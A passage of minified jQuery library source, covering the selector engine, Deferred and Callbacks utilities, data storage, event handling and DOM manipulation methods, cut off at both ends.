o,i=T.pseudos[e]||T.setFilters[e.toLowerCase()]||t.error(\"unsupported pseudo: \"+e);return i[$]?i(n):i.length>1?(o=[e,e,\"\",n],T.setFilters.hasOwnProperty(e.toLowerCase())?r(function(e,t){for(var r,o=i(e,n),a=o.length;a--;)r=ee(e,o[a]),e[r]=!(t[r]=o[a])}):function(e){return i(e,0,o)}):i}},pseudos:{not:r(function(e){var t=[],n=[],o=N(e.replace(se,\"$1\"));return o[$]?r(function(e,t,n,r){for(var i,a=o(e,null,r,[]),s=e.length;s--;)(i=a[s])&&(e[s]=!(t[s]=i))}):function(e,r,i){return t[0]=e,o(t,null,i,n),t[0]=null,!n.pop()}}),has:r(function(e){return function(n){\nreturn t(e,n).length>0}}),contains:r(function(e){return e=e.replace(be,xe),function(t){return(t.textContent||t.innerText||k(t)).indexOf(e)>-1}}),lang:r(function(e){return pe.test(e||\"\")||t.error(\"unsupported lang: \"+e),e=e.replace(be,xe).toLowerCase(),function(t){var n;do if(n=F?t.lang:t.getAttribute(\"xml:lang\")||t.getAttribute(\"lang\"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+\"-\");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===H},focus:function(e){return e===L.activeElement&&(!L.hasFocus||L.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:l(!1),disabled:l(!0),checked:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t&&!!e.checked||\"option\"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!T.pseudos.empty(e)},header:function(e){return ge.test(e.nodeName)},input:function(e){return de.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t&&\"button\"===e.type||\"button\"===t},text:function(e){var t;return\"input\"===e.nodeName.toLowerCase()&&\"text\"===e.type&&(null==(t=e.getAttribute(\"type\"))||\"text\"===t.toLowerCase())},first:c(function(){return[0]}),last:c(function(e,t){return[t-1]}),eq:c(function(e,t,n){return[n<0?n+t:n]}),even:c(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:c(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:c(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:c(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}},T.pseudos.nth=T.pseudos.eq;for(w in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})T.pseudos[w]=s(w);for(w in{submit:!0,reset:!0})T.pseudos[w]=u(w);return p.prototype=T.filters=T.pseudos,T.setFilters=new p,E=t.tokenize=function(e,n){var r,o,i,a,s,u,l,c=z[e+\" \"];if(c)return n?0:c.slice(0);for(s=e,u=[],l=T.preFilter;s;){r&&!(o=ue.exec(s))||(o&&(s=s.slice(o[0].length)||s),u.push(i=[])),r=!1,(o=le.exec(s))&&(r=o.shift(),i.push({value:r,type:o[0].replace(se,\" \")}),s=s.slice(r.length));for(a in T.filter)!(o=he[a].exec(s))||l[a]&&!(o=l[a](o))||(r=o.shift(),i.push({value:r,type:a,matches:o}),s=s.slice(r.length));if(!r)break}return n?s.length:s?t.error(e):z(e,u).slice(0)},N=t.compile=function(e,t){var n,r=[],o=[],i=X[e+\" \"];if(!i){for(t||(t=E(e)),n=t.length;n--;)i=b(t[n]),i[$]?r.push(i):o.push(i);i=X(e,x(o,r)),i.selector=e}return i},S=t.select=function(e,t,n,r){var o,i,a,s,u,l=\"function\"==typeof e&&e,c=!r&&E(e=l.selector||e);if(n=n||[],1===c.length){if(i=c[0]=c[0].slice(0),i.length>2&&\"ID\"===(a=i[0]).type&&9===t.nodeType&&F&&T.relative[i[1].type]){if(t=(T.find.ID(a.matches[0].replace(be,xe),t)||[])[0],!t)return n;l&&(t=t.parentNode),e=e.slice(i.shift().value.length)}for(o=he.needsContext.test(e)?0:i.length;o--&&(a=i[o],!T.relative[s=a.type]);)if((u=T.find[s])&&(r=u(a.matches[0].replace(be,xe),ye.test(i[0].type)&&f(t.parentNode)||t))){if(i.splice(o,1),e=r.length&&h(i),!e)return J.apply(n,r),n;break}}return(l||N(e,c))(r,t,!F,n,!t||ye.test(e)&&f(t.parentNode)||t),n},C.sortStable=$.split(\"\").sort(K).join(\"\")===$,C.detectDuplicates=!!D,O(),C.sortDetached=o(function(e){return 1&e.compareDocumentPosition(L.createElement(\"fieldset\"))}),o(function(e){return e.innerHTML=\"<a href='#'></a>\",\"#\"===e.firstChild.getAttribute(\"href\")})||i(\"type|href|height|width\",function(e,t,n){if(!n)return e.getAttribute(t,\"type\"===t.toLowerCase()?1:2)}),C.attributes&&o(function(e){return e.innerHTML=\"<input/>\",e.firstChild.setAttribute(\"value\",\"\"),\"\"===e.firstChild.getAttribute(\"value\")})||i(\"value\",function(e,t,n){if(!n&&\"input\"===e.nodeName.toLowerCase())return e.defaultValue}),o(function(e){return null==e.getAttribute(\"disabled\")})||i(te,function(e,t,n){var r;if(!n)return e[t]===!0?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),t}(e);de.find=be,de.expr=be.selectors,de.expr[\":\"]=de.expr.pseudos,de.uniqueSort=de.unique=be.uniqueSort,de.text=be.getText,de.isXMLDoc=be.isXML,de.contains=be.contains,de.escapeSelector=be.escape;var xe=function(e,t,n){for(var r=[],o=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(o&&de(e).is(n))break;r.push(e)}return r},we=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},Ce=de.expr.match.needsContext,Te=/^<([a-z][^\\/\\0>:\\x20\\t\\r\\n\\f]*)[\\x20\\t\\r\\n\\f]*\\/?>(?:<\\/\\1>|)$/i,ke=/^.[^:#\\[\\.,]*$/;de.filter=function(e,t,n){var r=t[0];return n&&(e=\":not(\"+e+\")\"),1===t.length&&1===r.nodeType?de.find.matchesSelector(r,e)?[r]:[]:de.find.matches(e,de.grep(t,function(e){return 1===e.nodeType}))},de.fn.extend({find:function(e){var t,n,r=this.length,o=this;if(\"string\"!=typeof e)return this.pushStack(de(e).filter(function(){for(t=0;t<r;t++)if(de.contains(o[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)de.find(e,o[t],n);return r>1?de.uniqueSort(n):n},filter:function(e){return this.pushStack(o(this,e||[],!1))},not:function(e){return this.pushStack(o(this,e||[],!0))},is:function(e){return!!o(this,\"string\"==typeof e&&Ce.test(e)?de(e):e||[],!1).length}});var je,Ee=/^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]+))$/,Ne=de.fn.init=function(e,t,n){var r,o;if(!e)return this;if(n=n||je,\"string\"==typeof e){if(r=\"<\"===e[0]&&\">\"===e[e.length-1]&&e.length>=3?[null,e,null]:Ee.exec(e),!r||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof de?t[0]:t,de.merge(this,de.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:te,!0)),Te.test(r[1])&&de.isPlainObject(t))for(r in t)de.isFunction(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return o=te.getElementById(r[2]),o&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):de.isFunction(e)?void 0!==n.ready?n.ready(e):e(de):de.makeArray(e,this)};Ne.prototype=de.fn,je=de(te);var Se=/^(?:parents|prev(?:Until|All))/,Ae={children:!0,contents:!0,next:!0,prev:!0};de.fn.extend({has:function(e){var t=de(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(de.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,o=this.length,i=[],a=\"string\"!=typeof e&&de(e);if(!Ce.test(e))for(;r<o;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&de.find.matchesSelector(n,e))){i.push(n);break}return this.pushStack(i.length>1?de.uniqueSort(i):i)},index:function(e){return e?\"string\"==typeof e?ae.call(de(e),this[0]):ae.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(de.uniqueSort(de.merge(this.get(),de(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),de.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return xe(e,\"parentNode\")},parentsUntil:function(e,t,n){return xe(e,\"parentNode\",n)},next:function(e){return i(e,\"nextSibling\")},prev:function(e){return i(e,\"previousSibling\")},nextAll:function(e){return xe(e,\"nextSibling\")},prevAll:function(e){return xe(e,\"previousSibling\")},nextUntil:function(e,t,n){return xe(e,\"nextSibling\",n)},prevUntil:function(e,t,n){return xe(e,\"previousSibling\",n)},siblings:function(e){return we((e.parentNode||{}).firstChild,e)},children:function(e){return we(e.firstChild)},contents:function(e){return e.contentDocument||de.merge([],e.childNodes)}},function(e,t){de.fn[e]=function(n,r){var o=de.map(this,t,n);return\"Until\"!==e.slice(-5)&&(r=n),r&&\"string\"==typeof r&&(o=de.filter(r,o)),this.length>1&&(Ae[e]||de.uniqueSort(o),Se.test(e)&&o.reverse()),this.pushStack(o)}});var qe=/[^\\x20\\t\\r\\n\\f]+/g;de.Callbacks=function(e){e=\"string\"==typeof e?a(e):de.extend({},e);var t,n,r,o,i=[],s=[],u=-1,l=function(){for(o=e.once,r=t=!0;s.length;u=-1)for(n=s.shift();++u<i.length;)i[u].apply(n[0],n[1])===!1&&e.stopOnFalse&&(u=i.length,n=!1);e.memory||(n=!1),t=!1,o&&(i=n?[]:\"\")},c={add:function(){return i&&(n&&!t&&(u=i.length-1,s.push(n)),function t(n){de.each(n,function(n,r){de.isFunction(r)?e.unique&&c.has(r)||i.push(r):r&&r.length&&\"string\"!==de.type(r)&&t(r)})}(arguments),n&&!t&&l()),this},remove:function(){return de.each(arguments,function(e,t){for(var n;(n=de.inArray(t,i,n))>-1;)i.splice(n,1),n<=u&&u--}),this},has:function(e){return e?de.inArray(e,i)>-1:i.length>0},empty:function(){return i&&(i=[]),this},disable:function(){return o=s=[],i=n=\"\",this},disabled:function(){return!i},lock:function(){return o=s=[],n||t||(i=n=\"\"),this},locked:function(){return!!o},fireWith:function(e,n){return o||(n=n||[],n=[e,n.slice?n.slice():n],s.push(n),t||l()),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},de.extend({Deferred:function(t){var n=[[\"notify\",\"progress\",de.Callbacks(\"memory\"),de.Callbacks(\"memory\"),2],[\"resolve\",\"done\",de.Callbacks(\"once memory\"),de.Callbacks(\"once memory\"),0,\"resolved\"],[\"reject\",\"fail\",de.Callbacks(\"once memory\"),de.Callbacks(\"once memory\"),1,\"rejected\"]],r=\"pending\",o={state:function(){return r},always:function(){return i.done(arguments).fail(arguments),this},catch:function(e){return o.then(null,e)},pipe:function(){var e=arguments;return de.Deferred(function(t){de.each(n,function(n,r){var o=de.isFunction(e[r[4]])&&e[r[4]];i[r[1]](function(){var e=o&&o.apply(this,arguments);e&&de.isFunction(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+\"With\"](this,o?[e]:arguments)})}),e=null}).promise()},then:function(t,r,o){function i(t,n,r,o){return function(){var l=this,c=arguments,f=function(){var e,f;if(!(t<a)){if(e=r.apply(l,c),e===n.promise())throw new TypeError(\"Thenable self-resolution\");f=e&&(\"object\"==typeof e||\"function\"==typeof e)&&e.then,de.isFunction(f)?o?f.call(e,i(a,n,s,o),i(a,n,u,o)):(a++,f.call(e,i(a,n,s,o),i(a,n,u,o),i(a,n,s,n.notifyWith))):(r!==s&&(l=void 0,c=[e]),(o||n.resolveWith)(l,c))}},p=o?f:function(){try{f()}catch(e){de.Deferred.exceptionHook&&de.Deferred.exceptionHook(e,p.stackTrace),t+1>=a&&(r!==u&&(l=void 0,c=[e]),n.rejectWith(l,c))}};t?p():(de.Deferred.getStackHook&&(p.stackTrace=de.Deferred.getStackHook()),e.setTimeout(p))}}var a=0;return de.Deferred(function(e){n[0][3].add(i(0,e,de.isFunction(o)?o:s,e.notifyWith)),n[1][3].add(i(0,e,de.isFunction(t)?t:s)),n[2][3].add(i(0,e,de.isFunction(r)?r:u))}).promise()},promise:function(e){return null!=e?de.extend(e,o):o}},i={};return de.each(n,function(e,t){var a=t[2],s=t[5];o[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[0][2].lock),a.add(t[3].fire),i[t[0]]=function(){return i[t[0]+\"With\"](this===i?void 0:this,arguments),this},i[t[0]+\"With\"]=a.fireWith}),o.promise(i),t&&t.call(i,i),i},when:function(e){var t=arguments.length,n=t,r=Array(n),o=re.call(arguments),i=de.Deferred(),a=function(e){return function(n){r[e]=this,o[e]=arguments.length>1?re.call(arguments):n,--t||i.resolveWith(r,o)}};if(t<=1&&(l(e,i.done(a(n)).resolve,i.reject),\"pending\"===i.state()||de.isFunction(o[n]&&o[n].then)))return i.then();for(;n--;)l(o[n],a(n),i.reject);return i.promise()}});var De=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;de.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&De.test(t.name)&&e.console.warn(\"jQuery.Deferred exception: \"+t.message,t.stack,n)},de.readyException=function(t){e.setTimeout(function(){throw t})};var Oe=de.Deferred();de.fn.ready=function(e){return Oe.then(e).catch(function(e){de.readyException(e)}),this},de.extend({isReady:!1,readyWait:1,holdReady:function(e){e?de.readyWait++:de.ready(!0)},ready:function(e){(e===!0?--de.readyWait:de.isReady)||(de.isReady=!0,e!==!0&&--de.readyWait>0||Oe.resolveWith(te,[de]))}}),de.ready.then=Oe.then,\"complete\"===te.readyState||\"loading\"!==te.readyState&&!te.documentElement.doScroll?e.setTimeout(de.ready):(te.addEventListener(\"DOMContentLoaded\",c),e.addEventListener(\"load\",c));var Le=function(e,t,n,r,o,i,a){var s=0,u=e.length,l=null==n;if(\"object\"===de.type(n)){o=!0;for(s in n)Le(e,t,s,n[s],!0,i,a)}else if(void 0!==r&&(o=!0,de.isFunction(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(de(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return o?e:l?t.call(e):u?t(e[0],n):i},He=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};f.uid=1,f.prototype={cache:function(e){var t=e[this.expando];return t||(t={},He(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,o=this.cache(e);if(\"string\"==typeof t)o[de.camelCase(t)]=n;else for(r in t)o[de.camelCase(r)]=t[r];return o},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][de.camelCase(t)]},access:function(e,t,n){return void 0===t||t&&\"string\"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){de.isArray(t)?t=t.map(de.camelCase):(t=de.camelCase(t),t=t in r?[t]:t.match(qe)||[]),n=t.length;for(;n--;)delete r[t[n]]}(void 0===t||de.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!de.isEmptyObject(t)}};var Fe=new f,Pe=new f,Ie=/^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,Re=/[A-Z]/g;de.extend({hasData:function(e){return Pe.hasData(e)||Fe.hasData(e)},data:function(e,t,n){return Pe.access(e,t,n)},removeData:function(e,t){Pe.remove(e,t)},_data:function(e,t,n){return Fe.access(e,t,n)},_removeData:function(e,t){Fe.remove(e,t)}}),de.fn.extend({data:function(e,t){var n,r,o,i=this[0],a=i&&i.attributes;if(void 0===e){if(this.length&&(o=Pe.get(i),1===i.nodeType&&!Fe.get(i,\"hasDataAttrs\"))){for(n=a.length;n--;)a[n]&&(r=a[n].name,0===r.indexOf(\"data-\")&&(r=de.camelCase(r.slice(5)),h(i,r,o[r])));Fe.set(i,\"hasDataAttrs\",!0)}return o}return\"object\"==typeof e?this.each(function(){Pe.set(this,e)}):Le(this,function(t){var n;if(i&&void 0===t){if(n=Pe.get(i,e),void 0!==n)return n;if(n=h(i,e),void 0!==n)return n}else this.each(function(){Pe.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){Pe.remove(this,e)})}}),de.extend({queue:function(e,t,n){var r;if(e)return t=(t||\"fx\")+\"queue\",r=Fe.get(e,t),n&&(!r||de.isArray(n)?r=Fe.access(e,t,de.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||\"fx\";var n=de.queue(e,t),r=n.length,o=n.shift(),i=de._queueHooks(e,t),a=function(){de.dequeue(e,t)};\"inprogress\"===o&&(o=n.shift(),r--),o&&(\"fx\"===t&&n.unshift(\"inprogress\"),delete i.stop,o.call(e,a,i)),!r&&i&&i.empty.fire()},_queueHooks:function(e,t){var n=t+\"queueHooks\";return Fe.get(e,n)||Fe.access(e,n,{empty:de.Callbacks(\"once memory\").add(function(){Fe.remove(e,[t+\"queue\",n])})})}}),de.fn.extend({queue:function(e,t){var n=2;return\"string\"!=typeof e&&(t=e,e=\"fx\",n--),arguments.length<n?de.queue(this[0],e):void 0===t?this:this.each(function(){var n=de.queue(this,e,t);de._queueHooks(this,e),\"fx\"===e&&\"inprogress\"!==n[0]&&de.dequeue(this,e)})},dequeue:function(e){return this.each(function(){de.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||\"fx\",[])},promise:function(e,t){var n,r=1,o=de.Deferred(),i=this,a=this.length,s=function(){--r||o.resolveWith(i,[i])};for(\"string\"!=typeof e&&(t=e,e=void 0),e=e||\"fx\";a--;)n=Fe.get(i[a],e+\"queueHooks\"),n&&n.empty&&(r++,n.empty.add(s));return s(),o.promise(t)}});var Me=/[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/.source,$e=new RegExp(\"^(?:([+-])=|)(\"+Me+\")([a-z%]*)$\",\"i\"),_e=[\"Top\",\"Right\",\"Bottom\",\"Left\"],We=function(e,t){return e=t||e,\"none\"===e.style.display||\"\"===e.style.display&&de.contains(e.ownerDocument,e)&&\"none\"===de.css(e,\"display\")},Be=function(e,t,n,r){var o,i,a={};for(i in t)a[i]=e.style[i],e.style[i]=t[i];o=n.apply(e,r||[]);for(i in t)e.style[i]=a[i];return o},Ue={};de.fn.extend({show:function(){return m(this,!0)},hide:function(){return m(this)},toggle:function(e){return\"boolean\"==typeof e?e?this.show():this.hide():this.each(function(){We(this)?de(this).show():de(this).hide()})}});var ze=/^(?:checkbox|radio)$/i,Xe=/<([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]+)/i,Ke=/^$|\\/(?:java|ecma)script/i,Ve={option:[1,\"<select multiple='multiple'>\",\"</select>\"],thead:[1,\"<table>\",\"</table>\"],col:[2,\"<table><colgroup>\",\"</colgroup></table>\"],tr:[2,\"<table><tbody>\",\"</tbody></table>\"],td:[3,\"<table><tbody><tr>\",\"</tr></tbody></table>\"],_default:[0,\"\",\"\"]};Ve.optgroup=Ve.option,Ve.tbody=Ve.tfoot=Ve.colgroup=Ve.caption=Ve.thead,Ve.th=Ve.td;var Ge=/<|&#?\\w+;/;!function(){var e=te.createDocumentFragment(),t=e.appendChild(te.createElement(\"div\")),n=te.createElement(\"input\");n.setAttribute(\"type\",\"radio\"),n.setAttribute(\"checked\",\"checked\"),n.setAttribute(\"name\",\"t\"),t.appendChild(n),pe.checkClone=t.cloneNode(!0).cloneNode(!0).lastChild.checked,t.innerHTML=\"<textarea>x</textarea>\",pe.noCloneChecked=!!t.cloneNode(!0).lastChild.defaultValue}();var Ye=te.documentElement,Qe=/^key/,Je=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ze=/^([^.]*)(?:\\.(.+)|)/;de.event={global:{},add:function(e,t,n,r,o){var i,a,s,u,l,c,f,p,h,d,g,m=Fe.get(e);if(m)for(n.handler&&(i=n,n=i.handler,o=i.selector),o&&de.find.matchesSelector(Ye,o),n.guid||(n.guid=de.guid++),(u=m.events)||(u=m.events={}),(a=m.handle)||(a=m.handle=function(t){return\"undefined\"!=typeof de&&de.event.triggered!==t.type?de.event.dispatch.apply(e,arguments):void 0}),t=(t||\"\").match(qe)||[\"\"],l=t.length;l--;)s=Ze.exec(t[l])||[],h=g=s[1],d=(s[2]||\"\").split(\".\").sort(),h&&(f=de.event.special[h]||{},h=(o?f.delegateType:f.bindType)||h,f=de.event.special[h]||{},c=de.extend({type:h,origType:g,data:r,handler:n,guid:n.guid,selector:o,needsContext:o&&de.expr.match.needsContext.test(o),namespace:d.join(\".\")},i),(p=u[h])||(p=u[h]=[],p.delegateCount=0,f.setup&&f.setup.call(e,r,d,a)!==!1||e.addEventListener&&e.addEventListener(h,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),o?p.splice(p.delegateCount++,0,c):p.push(c),de.event.global[h]=!0)},remove:function(e,t,n,r,o){var i,a,s,u,l,c,f,p,h,d,g,m=Fe.hasData(e)&&Fe.get(e);if(m&&(u=m.events)){for(t=(t||\"\").match(qe)||[\"\"],l=t.length;l--;)if(s=Ze.exec(t[l])||[],h=g=s[1],d=(s[2]||\"\").split(\".\").sort(),h){for(f=de.event.special[h]||{},h=(r?f.delegateType:f.bindType)||h,p=u[h]||[],s=s[2]&&new RegExp(\"(^|\\\\.)\"+d.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"),a=i=p.length;i--;)c=p[i],!o&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&(\"**\"!==r||!c.selector)||(p.splice(i,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&f.teardown.call(e,d,m.handle)!==!1||de.removeEvent(e,h,m.handle),delete u[h])}else for(h in u)de.event.remove(e,h+t[l],n,r,!0);de.isEmptyObject(u)&&Fe.remove(e,\"handle events\")}},dispatch:function(e){var t,n,r,o,i,a,s=de.event.fix(e),u=new Array(arguments.length),l=(Fe.get(this,\"events\")||{})[s.type]||[],c=de.event.special[s.type]||{};for(u[0]=s,t=1;t<arguments.length;t++)u[t]=arguments[t];if(s.delegateTarget=this,!c.preDispatch||c.preDispatch.call(this,s)!==!1){for(a=de.event.handlers.call(this,s,l),t=0;(o=a[t++])&&!s.isPropagationStopped();)for(s.currentTarget=o.elem,n=0;(i=o.handlers[n++])&&!s.isImmediatePropagationStopped();)s.rnamespace&&!s.rnamespace.test(i.namespace)||(s.handleObj=i,s.data=i.data,r=((de.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,u),void 0!==r&&(s.result=r)===!1&&(s.preventDefault(),s.stopPropagation()));return c.postDispatch&&c.postDispatch.call(this,s),s.result}},handlers:function(e,t){var n,r,o,i,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!(\"click\"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&(\"click\"!==e.type||l.disabled!==!0)){for(i=[],a={},n=0;n<u;n++)r=t[n],o=r.selector+\" \",void 0===a[o]&&(a[o]=r.needsContext?de(o,this).index(l)>-1:de.find(o,this,null,[l]).length),a[o]&&i.push(r);i.length&&s.push({elem:l,handlers:i})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(e,t){Object.defineProperty(de.Event.prototype,e,{enumerable:!0,configurable:!0,get:de.isFunction(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[de.expando]?e:new de.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==C()&&this.focus)return this.focus(),!1},delegateType:\"focusin\"},blur:{trigger:function(){if(this===C()&&this.blur)return this.blur(),!1},delegateType:\"focusout\"},click:{trigger:function(){if(\"checkbox\"===this.type&&this.click&&de.nodeName(this,\"input\"))return this.click(),!1},_default:function(e){return de.nodeName(e.target,\"a\")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},de.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},de.Event=function(e,t){return this instanceof de.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&e.returnValue===!1?x:w,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&de.extend(this,t),this.timeStamp=e&&e.timeStamp||de.now(),void(this[de.expando]=!0)):new de.Event(e,t)},de.Event.prototype={constructor:de.Event,isDefaultPrevented:w,isPropagationStopped:w,isImmediatePropagationStopped:w,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=x,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=x,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=x,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},de.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,char:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&Qe.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Je.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},de.event.addProp),de.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\",pointerenter:\"pointerover\",pointerleave:\"pointerout\"},function(e,t){de.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,o=e.relatedTarget,i=e.handleObj;return o&&(o===r||de.contains(r,o))||(e.type=i.origType,n=i.handler.apply(this,arguments),e.type=t),n}}}),de.fn.extend({on:function(e,t,n,r){return T(this,e,t,n,r)},one:function(e,t,n,r){return T(this,e,t,n,r,1)},off:function(e,t,n){var r,o;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,de(e.delegateTarget).off(r.namespace?r.origType+\".\"+r.namespace:r.origType,r.selector,r.handler),this;if(\"object\"==typeof e){for(o in e)this.off(o,t,e[o]);return this}return t!==!1&&\"function\"!=typeof t||(n=t,t=void 0),n===!1&&(n=w),this.each(function(){de.event.remove(this,e,n,t)})}});var et=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]*)[^>]*)\\/>/gi,tt=/<script|<style|<link/i,nt=/checked\\s*(?:[^=]|=\\s*.checked.)/i,rt=/^true\\/(.*)/,ot=/^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g;de.extend({htmlPrefilter:function(e){return e.replace(et,\"<$1></$2>\")},clone:function(e,t,n){var r,o,i,a,s=e.cloneNode(!0),u=de.contains(e.ownerDocument,e);if(!(pe.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||de.isXMLDoc(e)))for(a=v(s),i=v(e),r=0,o=i.length;r<o;r++)S(i[r],a[r]);if(t)if(n)for(i=i||v(e),a=a||v(s),r=0,o=i.length;r<o;r++)N(i[r],a[r]);else N(e,s);return a=v(s,\"script\"),a.length>0&&y(a,!u&&v(e,\"script\")),s},cleanData:function(e){for(var t,n,r,o=de.event.special,i=0;void 0!==(n=e[i]);i++)if(He(n)){if(t=n[Fe.expando]){if(t.events)for(r in t.events)o[r]?de.event.remove(n,r):de.removeEvent(n,r,t.handle);n[Fe.expando]=void 0}n[Pe.expando]&&(n[Pe.expando]=void 0)}}}),de.fn.extend({detach:function(e){return q(this,e,!0)},remove:function(e){return q(this,e)},text:function(e){return Le(this,function(e){return void 0===e?de.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return A(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=k(this,e);t.appendChild(e)}})},prepend:function(){return A(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=k(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return A(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return A(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(de.cleanData(v(e,!1)),e.textContent=\"\");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return de.clone(this,e,t)})},html:function(e){return Le(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if(\"string\"==typeof 